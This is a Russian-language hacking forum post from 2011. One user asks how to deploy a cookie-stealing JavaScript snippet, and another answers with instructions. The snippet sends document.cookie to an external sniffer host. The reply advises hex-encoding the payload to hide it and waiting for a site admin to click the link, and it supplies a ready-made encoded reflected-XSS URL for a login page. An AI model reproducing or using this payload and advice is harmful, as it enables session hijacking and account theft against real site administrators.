Ваши вопросы по уязвимостям.

#11

12.08.2011, 16:44

winstrool

Познающий

Регистрация: 06.03.2007

Сообщений: 59

С нами: 10095779

Репутация: 137

Цитата:

Сообщение от ridik77

winstrool, это как поставить где нибуть снифер? я зареган на hacker-pro, здесь есть такой ява скрипт-
img = new Image(); img.src = "http://httpz.ru/nypbi4u80f5.gif?"+document.cookie;
и есть ява скрипт для адресной строки- javascript:document.write('img = new Image(); img.src = "http://httpz.ru/nypbi4u80f5.gif?"+document.cookie;')
куда и как подставлять? куки должны сразу прейти или надо ждать?

в твоем случае в адресную строку следовательно и скрипт нужно для адресной строки, такжже чтоб сильно глаза не резало, переведи в хекс, прийдется подождать пока админ перейдет по ссылке...

P/S:вот подготовил код твоего снифака тебе остается подставить только название сайта:

Цитата:

Сообщение от None

ххх.com/?a=login&say=invalid_login&username=%22%3e%3c%73%6 3%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f% 63%61%74%69%6f%6e%3d%22%68%74%74%70%3a%2f%2f%68%74 %74%70%7a%2e%72%75%2f%6e%79%70%62%69%34%75%38%30%6 6%35%2e%67%69%66%3f%22%2b%64%6f%63%75%6d%65%6e%74% 2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e